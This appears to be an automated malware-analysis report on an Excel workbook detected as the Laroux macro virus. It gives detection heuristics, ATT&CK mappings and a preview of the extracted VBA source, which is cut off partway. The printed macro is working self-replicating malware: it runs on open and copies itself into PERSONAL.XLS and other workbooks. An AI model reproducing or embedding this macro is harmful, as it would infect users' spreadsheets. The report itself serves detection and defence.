MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is identified as Xls.Trojan.Laroux-1 by ClamAV and exhibits critical heuristic firings related to the Laroux macro virus. The VBA script contains an auto_open subroutine that attempts to create or modify the PERSONAL.XLS file in the Excel startup path, indicating a persistence mechanism. The script also contains logic to copy and save a sheet named 'laroux' as PERSONAL.XLS, further supporting the persistence attempt.
Heuristics 4
-
ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Laroux-1
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7699 bytes |
SHA-256: e4e76a88edd89dd71dce1a89c0bdcbad930b14c8f7228f986c8de31a3fc5d9a2 |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "laroux"
Public jj As Integer
Public n4 As String
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
fr
Application.ScreenUpdating = False
Application.OnSheetActivate = "aa"
Application.OnWindow = "bb"
Application.StatusBar = ""
n4 = UCase(ActiveWorkbook.Name)
'Application.OnKey "^{f}", "ab"
'Application.OnKey "^{d}", "AG"
If n4 = "PERSONAL.XLS" Then
ActiveWindow.Visible = False
Exit Sub
End If
jj = ActiveWorkbook.Modules.Count
Dim ss As Worksheet
If ActiveWorkbook.Worksheets.Count = 0 Then ActiveWorkbook.Close
For Each ss In ActiveWorkbook.Worksheets
ss.Activate: Exit For
Next ss
check_files
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10 '
m2: as1 = ac
Select Case as1
Case 0
If p = 1 Then
gh = Application.StartupPath
Workbooks.Open Filename:=Application.StartupPath & "\" & "personal.xls"
ActiveWindow.Visible = False
Else
Application.ScreenUpdating = False
lar = laroux()
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
End If
acd = ac: GoTo m2:
Case 1
Exit Sub
Case 2
Windows(n4).Activate
Application.ScreenUpdating = False
Sheets("laroux").Visible = True
Sheets("laroux").Select
' Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
Windows("PERSONAL.XLS").Visible = True
Windows(n4).Activate
Sheets("laroux").Select
Sheets("laroux").Copy Before:=Workbooks("PERSONAL.XLS").Sheets(1)
ActiveWorkbook.Save
ActiveWindow.Visible = False
Sheets("laroux").Visible = False
End Select
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
' Application.OnSheetActivate = ""
Application.ScreenUpdating = True
' Application.OnSheetActivate = "personal.xls!check_files"
Case 11
Case Else
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "laroux" Then
Workbooks("PERSONAL.XLS").Sheets("laroux").Copy Before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
End Select
Application.ScreenUpdating = True
Application.Windows("personal.xls").OnWindow = "AF"
Application.OnWindow = "bb"
End Sub
Sub aa()
Attribute aa.VB_ProcData.VB_Invoke_Fu
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.